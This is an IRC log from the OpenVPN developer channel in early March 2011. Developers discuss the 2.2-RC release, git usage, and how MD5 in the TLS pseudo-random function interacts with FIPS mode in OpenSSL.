14:24 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 14:45 <@mattock> ok, everything set for release, only signatures missing 14:48 < Essobi> woot 14:48 < Essobi> mattock: your latest patches in too? 14:48 < Essobi> mattock: pass me the url, and I'll grab it, and test the fips patch on it. 15:52 -!- andj is now known as andj_afk 16:26 <@vpnHelper> RSS Update - tickets: #96: [PATCH] Make init script start openvpn for each *.ovpn in addition to *.conf <https://community.openvpn.net/openvpn/ticket/96> || #95: [PATCH] Fix line continuation in chkconfig init script description <https://community.openvpn.net/openvpn/ticket/95> 16:35 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:58 -!- nebula [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 16:58 -!- nebula is now known as patel 16:59 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has left #openvpn-devel [] 17:08 -!- Netsplit *.net <-> *.split quits: @patelx, EO_ 17:17 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 21:32 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 21:32 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 21:32 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:42 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 23:06 -!- openvpn2009 [~a@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] --- Day changed Tue Mar 01 2011 00:38 -!- andj_afk is now known as andj 00:41 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:28 -!- andj is now known as andj_afk 01:49 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:31 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 02:36 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:44 -!- dazo_afk is now known as dazo 04:19 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 04:19 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 04:19 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:19 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:48 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 252 seconds] 04:51 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 05:12 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 07:16 -!- andj_afk is now known as andj 08:00 -!- andj is now known as andj_afk 09:42 -!- dazo is now known as dazo_afk 09:44 -!- andj_afk is now known as andj 09:48 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 09:59 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:03 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:24 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 11:27 -!- TheSilentTechie [~TheSilent@dslb-088-065-131-159.pools.arcor-ip.net] has joined #openvpn-devel 12:08 -!- andj is now known as andj_afk 12:10 -!- dazo_afk is now known as dazo 13:09 -!- andj_afk is now known as andj 13:42 -!- andj is now known as andj_afk 13:58 -!- TheSilentTechie [~TheSilent@dslb-088-065-131-159.pools.arcor-ip.net] has quit [Quit: Verlassend] 13:59 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 14:21 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 14:24 <@mattock> 2.2-RC GPG signatures on staging server, Windows installer signature takes a while longer 14:25 * dazo finally begins to smell a 2.2 release :) 14:25 <@dazo> \o/ 14:51 -!- andj_afk is now known as andj 15:25 -!- andj is now known as andj_afk 15:39 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has joined #openvpn-devel 15:39 -!- janjust [~janjust@s5597bc56.adsl.wanadoo.nl] has quit [Changing host] 15:39 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:50 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 17:17 -!- dazo is now known as dazo_afk 20:58 < Essobi> Hmmm.. anyone know what tls1_P_hash(md5 ,S1,len,label,label_len,out1,olen) is doing in ssl.c? 20:58 < Essobi> In function tls1_PRF.. 20:59 < Essobi> Looks like that's breaking FIPS as MD5 isn't allowed. 21:08 < Essobi> okay, so that complicates the FIPS patch for TLS slightly it appears.. 21:08 < Essobi> As near as I can tell it uses that for part of the TLS exchange. 23:04 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 240 seconds] 23:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:09 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 272 seconds] 23:32 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:32 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 23:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 23:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 23:48 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 23:48 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ --- Day changed Wed Mar 02 2011 00:20 -!- andj_afk is now known as andj 01:13 -!- andj is now known as andj_afk 03:39 -!- dazo_afk is now known as dazo 03:53 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 03:53 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 03:53 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:53 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:58 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:03 -!- andj_afk is now known as andj 07:17 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:30 -!- Dark-Fx [~bamcpher@dark-fx.com] has quit [Ping timeout: 272 seconds] 07:33 -!- andj is now known as andj_afk 07:41 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 10:28 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:29 -!- TheSilentTechie [~TheSilent@dslb-088-067-013-039.pools.arcor-ip.net] has joined #openvpn-devel 10:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:49 < TheSilentTechie> Hello, I had a invitation from Mattock to join this developer channel to discuss the problem about “Windows 7 x64, routing, DHCP and a unstable VPN” of the OpenVPN forum. So far as I understand Mattock, this problem is familiar and already discussed. He would make a discussion in the detail, but I don't know what you are want. So I'm her to surrender. 10:49 < TheSilentTechie> To begin: My English is not the best – so please speak slowly – I read and write also slow. And Google is my best friend., not only for search. At last: I never chat before, I hope to meet the demands. 11:07 * cron2 does not really know anything about this Windows7 DHCP problem, but I suggest that janjust knows (he left 1 minute before you arrived) 11:10 < TheSilentTechie> Yes, janjust has posted also to the forum. Do you think we should make a secound try and wait on him? 11:12 <@cron2> he might show up later in the evening, yes 11:14 < Essobi> Howdy.. 11:14 < Essobi> mattock: You around? 11:14 < Essobi> !git 11:14 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 11:15 < Essobi> Hmm. would openvpn-testing.git contain the latest 2.2-RC with mattock's patches? 11:16 < TheSilentTechie> So I will and must wait, or had someone questions to me about that. 11:17 < Essobi> TheSilentTechie: Yea.. just hang out.. lots of euros in here, so everyone isn't active this TOD. 11:18 <@dazo> TheSilentTechie: janjust has been quite active here lately, but he usually leaves around 16-17:00 UTC ... sometimes he pops in in the evenings 11:19 < Essobi> jamesyonan: Care to take a peek at ssl.c with me, and enlighten me as to what a particular line is for? It's breaking my FIPs clients in TLS. 11:19 <@jamesyonan> sure 11:21 < Essobi> jamesyonan: In function tls1_PRF, the line tls1_P_hash(md5 ,S1,len,label,label_len,out1,olen); around like 2880. 11:22 < Essobi> It's calling an MD5 function during the TLS exchange, but I'm not sure exactly what it's doing.. appears to be for a double digest comparison of a key? 11:23 <@jamesyonan> tls1_PRF is the TLS pseudo-random function 11:23 < Essobi> MD5 is disallowed in fips, and since there's no error checking it was falling through on the !SSL_CTX_use_certificate_chain_file, with a generic error. 11:23 < Essobi> That was a PITA to uncover.. heh. 11:23 <@jamesyonan> well you can't have TLS without md5 11:24 <@jamesyonan> md5 and sha1 are key parts of TLS 11:24 <@dazo> but you can have SHA1 only with TLS? 11:24 < Essobi> Hmm. I'll have to see how openssl/NIST/FIPS says it's supposed to be done. 11:25 <@jamesyonan> I don't think so -- look at the RFC 11:25 < Essobi> I'm assuming they're going to suggest a different digest. 11:25 * dazo suspect so too 11:25 * Essobi starts digging for the NIST specs. 11:25 <@jamesyonan> In RSA signing, a 36-byte structure of two hashes (one SHA and one 11:25 <@jamesyonan> MD5) is signed (encrypted with the private key). It is encoded with 11:25 <@jamesyonan> PKCS #1 block type 0 or type 1 as described in [PKCS1]. 11:26 < Essobi> Hmm.. Does openssl cli s_server use TLS in negotiating with s_client? 11:26 < Essobi> I'll have to check that too.. 11:28 <@jamesyonan> yes -- this md5/sha1 composite hash is fundamental to TLS 11:28 < Essobi> Yea, I just checked the RFC, you're right. 11:29 <@jamesyonan> yeah, everyone knows that md5 is insecure -- but the TLS PRF function is building up a more complex hash using md5 as a building block 11:32 < Essobi> Hmm.. Perhaps it's suppose to use DSS, instead of RSA for FIPS. 11:32 -!- andj_afk is now known as andj 11:33 < Essobi> And as noted in the RFC the peer identity authentication is 'optional' according to the RFC, but generally done. 11:33 < Essobi> Mkay.. I'll have to find the FIPS docs on TLS. 11:33 <@jamesyonan> "peer identity authentication" is essential for security 11:35 < Essobi> I'm not saying it's required.. I'm saying the RFC says it's "optional" lol 11:35 < Essobi> s/it's/isn't/ 11:35 <@jamesyonan> yeah I get it 11:36 < Essobi> It's probably going to say to use 3DES-CBC or DES-CBC in the fips documentation. 11:36 < Essobi> Uggh.. this stuff is buried all over the NIST/fed sites, so it'll probably take me a while to dig this up, but thank you for explaining that. 11:36 <@jamesyonan> but TLS PRF is a hash function 11:38 <@jamesyonan> it's used as part of the TLS handshake to verify peer identity and doesn't play a role in the data channel 11:53 -!- dazo is now known as dazo_afk 12:00 <@jamesyonan> Essobi: for the most part, tls1_P_hash in ssl.c is lifted from OpenSSL -- does the FIPS version of OpenSSL use this function? 12:01 <@jamesyonan> OpenVPN could potentially use a different hash function, however this would require that both the client and server are using the revised hash function 12:02 <@jamesyonan> but that doesn't solve the issue of RSA signing 12:02 <@jamesyonan> I guess the question is whether FIPS allows RSA -- does FIPS OpenSSL even support RSA? 12:07 < Essobi> http://csrc.nist.gov/groups/STM/cmvp/documents/fips140-2/FIPS1402IG.pdf 12:09 <@jamesyonan> Interesting quote from that doc: The use of MD5 is allowed in the TLS or DTLS protocol only; MD5 shall not be used as a general hash function. 12:09 < Essobi> Section Page 125.. 12:09 < Essobi> It is allowed in TLS. 12:10 < Essobi> I believe because of how you're calling the underlying TLS outside of the FIPS canister it thinks it's being used inappropriately. 12:10 < Essobi> I would assume there's a different call needed to say it's being used in TLS, and not something stupid. 12:11 <@jamesyonan> well the problem is that even though tls1_P_hash is part of OpenSSL, I believe it's not publicly exported, hence the need to redefine it in OpenVPN/ssl.c 12:13 <@jamesyonan> we could potentially fix this by using a different hash method than tls1_P_hash in OpenVPN -- this function is used internal to the OpenVPN protocol and is not needed for interoperability with TLS 12:13 < Essobi> Right. 12:13 < Essobi> But it breaks compatability. :( 12:14 <@jamesyonan> exactly -- if we do this, we would have to add some kind of flag to OpenVPN, like --fips to tell it to use the different hash function 12:14 < Essobi> FIPS to FIPS only, and non-fips to non-fips only. :\ 12:15 <+ecrist> actually 12:15 < Essobi> Unless you guys play on breaking 2.3 vs < 2.2 compatability going forward, I think that's probably the best option. 12:15 <+ecrist> if it's compiled with fips, it should just not accept connections from a non-fips client 12:16 < Essobi> Hmm.. Indeed. 12:16 <@jamesyonan> that's another possibility -- make the "FIPS" flag a build-time option rather than run time 12:16 <+ecrist> since, with fips, there is actual compatibility removed. 12:17 <+ecrist> build time is what's needed, I think. 12:18 <@jamesyonan> and if we do it build-time, then we could re-default all the other options that matter to FIPS such as cipher 12:20 < Essobi> lol, they recommend using TLS 1.1 draft. 12:20 < Essobi> :\ 12:20 < Essobi> http://csrc.nist.gov/publications/nistpubs/800-52/SP800-52.pdf 12:20 < Essobi> Footnote 5 on page 7 12:21 < Essobi> TLS DHE DSS with 3des EDE CBC sha 12:23 <@jamesyonan> is RSA ok? 12:26 < Essobi> RSA is approved for key establishment. 12:27 <@jamesyonan> BTW, did you get a definitive answer on whether or not RSA signing operations can be offloaded to an external agent? 12:28 < Essobi> technically TLS is outside of the scope of FIPS 140-2, hence why you can use it for peer identification, but the way the wrote the module, you can't use the normal function call.. I assume they overloaded it to error out, and created a private one they use for the TLS portion of openssl. 12:29 < Essobi> jamesyonan: Is that related to the crypto card libraries? 12:30 <@jamesyonan> yeah 12:30 < Essobi> It remains compliant so long as that offloader/library is FIPS comliant as well. And since that's hardware the cards would have to be FIPS 140-2 level 2 certified. 12:31 < Essobi> the lib would have to be level 1 12:31 <@jamesyonan> hooking is done via RSA_set_method 12:31 < Essobi> Software can only be level 1, as level 2 is for physical requirements. 12:32 < Essobi> jamesyonan: Is that done regardless of a card being present? 12:32 < Essobi> jamesyonan: Were you suggesting using RSA in place of the MD5? 12:33 <@jamesyonan> offloading RSA is done via RSA_set_method (doesn't matter whether or not a physical card is present) 12:35 < Essobi> Eww. 12:35 <@jamesyonan> "Were you suggesting using RSA in place of the MD5?" -> no different discussion 12:35 < Essobi> Right.. I didn't think you were, but perhaps you knew something I didn't. Heh 12:36 <@jamesyonan> on the md5 problem, I would recommend that we develop a "key-method 3" for OpenVPN (1 is ancient and deprecated, 2 is the method that everyone uses now that includes use of TLS PRF function) 12:36 <@jamesyonan> key-method 3 would use a revised hash function that's FIPS compliant 12:37 <@jamesyonan> then the FIPS OpenVPN build would default key-method to 3 and cipher to AES 12:38 < Essobi> Ah, so that's how you dealt with changing negotiation in the past, is the key method in the config. 12:39 < Essobi> Good idea. 12:39 <@jamesyonan> The RSA offloading is a different discussion altogether -- I ask only that it would be a shame if government users of OpenVPN would be prohibited from using smart-card based dual-factor auth 12:39 <@jamesyonan> yeah, key-method changes the handshake protocol 12:39 <@jamesyonan> the requirement is that both client and server use the same key-method 12:40 < Essobi> Let me dig around and see if that's specifically disallowed since that's it's authentication, and not specifically encryption, it may fall out of the 140-2 spec entirely like the MD5 does, technically. 12:40 <@jamesyonan> there's some sanity checking as well at the protocol level to raise an error if client and server try to communicate using incompatible key-method 12:41 < Essobi> Hmm. shame you can't use something like the CBC to allow specific key-methods for users, but that's rather chicken-egg. 12:41 < Essobi> It is, what it is.. we may wind up pushing all of our endpoints to FIPS ultimately. 12:41 <@jamesyonan> I don't have FIPS OpenSSL in front of me right now, but I would guess they would have removed RSA_set_method if they didn't want people doing RSA offloading 12:42 < Essobi> BTW.. what's the largest deployment of openvpn by a single entity you've heard of? Someone suggested we may be one of the largest. 12:42 < Essobi> jamesyonan: Yea, anything disallowed, traps and error, and dies in a fiery exit. :) 12:43 <@jamesyonan> Anchorfree.com is pretty large 12:43 < Essobi> Somewhere around Q3 we'll have around 1.9K endpoints. 12:44 < Essobi> Oh wow.. I never heard of them before. 12:44 < Essobi> Somewhat TOR like. 12:56 < Essobi> BTW... FIPS is actually in all of the OpenSSL 0.9.X source.. it's just not validated like the official source is. 12:59 < Essobi> I'm going to take a stab and seeing if I can uncover the way to call MD5 for TLS since it is signed off on.. I'm not terribly sure that calling a built-in MD5 would break compliance either since you're not overloading a module used for encryption. 13:04 <@jamesyonan> Essobi: BTW, key-method 1 should work out-of-the-box without requiring tls1_P_hash 13:06 <@jamesyonan> actually I take that back -- it's probably a better idea to introduce key-method 3 with an approved hash than go back to 1 13:07 <@jamesyonan> does FIPS OpenSSL even allow external callers to access md5 func? 13:07 < Essobi> Well.. it's not that the digest is disallowed.. I believe they're expecting openssl's crypto module to use it, not the end application. 13:07 < Essobi> Exactly.. 13:08 < Essobi> It's not disallowed by the module internally, iirc. 13:08 < Essobi> I'm going to dig into openssl 0.9.7's FIPS source and see specifically what they're doing. 13:10 < Essobi> OPENSSL_FIPS=1 openssl dgst -md5 ./ssl.c 13:10 < Essobi> Error setting digest dgst 13:10 < Essobi> 61101:error:06080090:digital envelope routines:EVP_DigestInit_ex:disabled for fips:digest.c:292: 13:10 < Essobi> Meh. 13:11 < Essobi> Hmm. 13:11 -!- dazo_afk is now known as dazo 13:11 <@jamesyonan> what if you call md5 directly, outside of EVP wrapper? 13:12 < Essobi> We could use an SHA1 and an SHA224 and use an offset of it. 13:12 <@jamesyonan> but then we're talking about key-method 3 13:12 < Essobi> jamesyonan: Or perhaps that.. I'm not sure if that invalidates the extension of the cert. 13:12 < Essobi> jamesyonan: True. 13:20 < Essobi> Well.. my take on the User manual.. since we're not specifically using for for encryption, it's allowed. 13:22 < Essobi> jamesyonan: Which leads me to another question.. in the two factor authenticaion of the RSA.. is any of the encryption of the data channels based on that? 13:24 <@jamesyonan> no -- the two-factor auth in RSA is only done so that the application doesn't need direct access to the RSA private key 13:24 < Essobi> So that's happily allowed too then. 13:25 < Essobi> http://www.openssl.org/docs/fips/UserGuide-1.2.pdf - Section 5, application checklist. 13:26 < Essobi> Item 1. Use the FIPS Object Module for all cryptography. 13:27 < Essobi> I believe the keyword there is cryptography.. 13:27 <@jamesyonan> OpenVPN uses DH for key exchange, so RSA is only used for identity verification 13:27 < Essobi> Bingo. 13:28 < Essobi> So that should pass as well.. Should I dig up a public domain MD5 checksum to embed unless someone has a pet function they'd like to use. 13:28 < Essobi> s/.$/?/ 13:29 <@jamesyonan> sure, that would work 13:29 < Essobi> Roger that. 13:33 -!- andj is now known as andj_afk 13:48 -!- andj_afk is now known as andj 14:06 -!- TheSilentTechie [~TheSilent@dslb-088-067-013-039.pools.arcor-ip.net] has quit [Quit: Verlassend] 14:22 -!- andj is now known as andj_afk 14:48 < Essobi> nice.. boss showed up and handed me an active sniffing tap. 14:55 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel ["Leaving"] 15:09 -!- andj_afk is now known as andj 15:17 -!- andj is now known as andj_afk 15:23 -!- dazo is now known as dazo_afk 15:24 -!- dazo_afk is now known as dazo 15:43 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 15:43 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 15:43 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 15:44 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:13 < Essobi> jamesyonan: It would appear there's some magic flags in openssl to allow MD5 to be used in FIPS-mode TLS negotiations. I'm working up a patch. 16:15 < Essobi> And from what I've read.. the RSA overloading is specifically forbid since it's an approved alg. :( 16:40 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 16:53 -!- dazo is now known as dazo_afk 19:33 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 250 seconds] 19:33 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:55 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 252 seconds] 22:00 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 23:40 -!- TestingOnly [~TestingOn@p54973A6D.dip.t-dialin.net] has joined #openvpn-devel 23:42 < TestingOnly> !meetings 23:42 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 23:47 -!- andj_afk is now known as andj 23:57 -!- TestingOnly [~TestingOn@p54973A6D.dip.t-dialin.net] has quit [Quit: Verlassend] --- Day changed Thu Mar 03 2011 00:15 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 00:37 -!- andj is now known as andj_afk 00:42 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:10 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 01:11 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 01:39 <@mattock> essobi: 2.2-RC in Git has all but the latest patch 01:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:52 <@mattock> coverity finally responded to me 01:52 <@mattock> they're now tracking Git, but which branch would be best? 01:58 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 01:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:01 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 02:01 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:01 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:21 <@cron2> mattock: can they track multiple branches? if yes, I'd suggest "allmerged" and "beta2.2" 02:21 <@cron2> if only one branch, "allmerged" has all the good stuff... 02:30 <@mattock> cron2: I think it's only one branch 02:31 <@mattock> I asked them if they can even "track" anything, or if it's "upload -> fix -> upload something new" 02:45 < Essobi> mattock: what's the last patch? The manifests? 02:46 < Essobi> mattock: I'm about done with FIPs, I'm thinking. It's close. Looks like I might have to revert the cryptocard RSA overloading and revert to openssl's official thou. :\ 02:48 <@mattock> essobi: that's correct... the automated manifest embedding + clean use of prebuilt TAP-drivers patch 02:48 <@mattock> you got that already? 02:48 <@mattock> or shall I send it to you? 02:52 < Essobi> Nope, I don't have it.. I can apply it to the 2.2-RC in git? 02:53 < Essobi> I'm about to head for bed soon, but just PM me or shoot my an url or something.. 02:53 < Essobi> Thanks. 03:01 <@mattock> essobi: http://build.openvpn.net/tap.patch 03:01 <@mattock> apply on top of 2.2-RC 03:01 <@mattock> should make installer generation much easier 03:01 <@mattock> less manual steps 03:09 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 276 seconds] 03:26 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:26 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 03:36 -!- dazo_afk is now known as dazo 04:23 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 260 seconds] 04:30 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 05:07 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 05:07 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:07 -!- mode/#openvpn-devel [+o cron2] by ChanServ 05:08 <@cron2> mattock: then, "allmerged" it is... 05:08 <@cron2> (should usually cover bugs in 2.1 and 2.2 as well) 05:14 <@mattock> true 06:25 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:27 <@dazo> 'allmerged' is a good candidate for coverity 06:29 <@dazo> however ... I'm going to simplify the git tree a bit, as the git tree is now basically the upstream dev tree ... the current setup was that it was the preparation tree for james' SVN tree 06:29 <@dazo> so in the future, it might be that the 'master' branch will be better suited ... I don't know that yet 06:32 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:06 <@mattock> dazo: ok, I'll let them know, then 07:09 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 07:09 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 09:03 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 09:53 <@cron2> are we having a meeting tonight? 09:59 <@dazo> good question! 10:00 <@dazo> I don't have much, maybe one Trac ticket, but that's not important ... we're waiting on a signed windows installer with 2.2-RC 10:01 <@cron2> short meeting, then 10:01 <@cron2> :) 10:04 <@dazo> yeah :) 10:04 * dazo was looking through all the different trac tickets ... 10:04 <@dazo> https://community.openvpn.net/openvpn/report/6 10:04 <@vpnHelper> Title: {6} All Tickets By Milestone (Including closed) – OpenVPN Community (at community.openvpn.net) 10:05 <@dazo> we've covered quite a few bugs for 2.2 ... wondering how to proceed with the non-solved issues ... 10:06 <@dazo> janjust has been good at closing off tickets which were more support stuff and invalid/notabug things too 10:48 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 10:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:03 < Essobi> !git 11:03 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 11:04 < Essobi> !git-doc 11:04 <@vpnHelper> "git-doc" is For a good git documentation, see http://progit.org/book/ 11:05 < Essobi> does git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git house the 2.2-RC? 11:05 <@dazo> Essobi: yes, in the beta2.2 branch ... I know, not so well named now 11:05 <@dazo> it's also tagged 11:05 <@dazo> v2.2-RC 11:06 < Essobi> how do I check out a tag? 11:06 < Essobi> <-- git newb 11:06 <@dazo> git checkout -b <branch name> <tag name> :) 11:11 < Essobi> git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git -b beta2.2 .. ? 11:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:14 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:14 <@dazo> Essobi: ahh ... first git clone 11:14 <@dazo> then cd openvpn-testing 11:14 <@dazo> and then git checkout 11:17 < Essobi> git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git ; cd openvpn-testing ; git checkout -b beta2.2 v2.2-RC ? 11:19 -!- andj_afk is now known as andj 11:26 -!- Dark-Fx_ [~bamcpher@2607:f4b8:7::1] has joined #openvpn-devel 11:28 -!- Dark-Fx [~bamcpher@2607:f4b8:7::1] has quit [Ping timeout: 260 seconds] 11:31 < Essobi> mattock: you around? 11:34 < Essobi> that latest branch has an error I had on the last checkout, I think you helped me with.. 11:34 < Essobi> Think it's a local file missing again for windows build 11:39 <@dazo> Essobi: yes, that's a way how to do it ... re: the -b <branch name> ... that can be whatever name you call it. 11:40 <@dazo> that checkout command basically says: checkout v2.2-RC as a branch called beta2.2 11:41 <@dazo> Essobi: I believe that missing file will be fixed for the final release ... I'm awaiting some patches mattock fixing those last issues 11:41 < Essobi> ah. 11:41 < Essobi> Thanks. 11:41 < Essobi> Yea, I think config.h is missing 11:42 < Essobi> I applied mattock's last patch for the manifest/tap drivers. 11:42 < Essobi> It's working. 11:42 < Essobi> and here in about 10 minutes, I'll tell you if these FIPS patches are working. 11:45 <@dazo> Essobi: copy config-win32.h to config.h ... I believe that solves it 11:49 -!- Netsplit *.net <-> *.split quits: @d303k 11:51 -!- Netsplit over, joins: @d303k 11:56 < Essobi> ah 11:56 < Essobi> Yay, FIPS clients can connect to non-fips, so I didn't break TLS. 11:56 <@dazo> :) 11:56 < Essobi> no to figure out wtf the gui can't talk to the service. :\ 11:57 < Essobi> (unrelated..) 11:57 <@dazo> what about FIPS server against non-fips client? 11:57 * dazo brb 11:57 < Essobi> Oh yea, it works too. 11:57 < Essobi> tested that yesterday. 11:57 -!- Netsplit *.net <-> *.split quits: @d303k 12:02 < Essobi> Hmm. 12:02 < Essobi> Looks like it didn't start the service. 12:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 252 seconds] 12:07 < Essobi> Yea weird... it didn't even install the service. 12:07 < Essobi> O_o 12:09 < Essobi> Installed by hand and started up.. bmust be something in my custom installer. 12:13 <@dazo> lol ... http://www.youtube.com/watch?v=WxC6PytZMqc 12:14 <@dazo> mattock: no meeting? 12:15 <@mattock> dazo: that's what I thought 12:15 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:15 <@mattock> nothing official, at least 12:15 <@dazo> works for me :) 12:15 <@dazo> I got plenty of paid work to do :) 12:16 <@mattock> sounds good! especially you get paid for overtime :) 12:16 <@mattock> jamesyonan: what's the status of Windows installer signing? 12:16 <@mattock> we could perhaps make the release tomorrow 12:16 <@vpnHelper> Title: YouTube - Silly MS-DOS 5 Promo Video (High Quality) (at www.youtube.com) 12:17 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 12:17 -!- mode/#openvpn-devel [+o d303k] by ChanServ 12:18 <@jamesyonan> mattock: I can do it today 12:18 < Essobi> dazo: pfft, pass some around. Heh. 12:19 < Essobi> 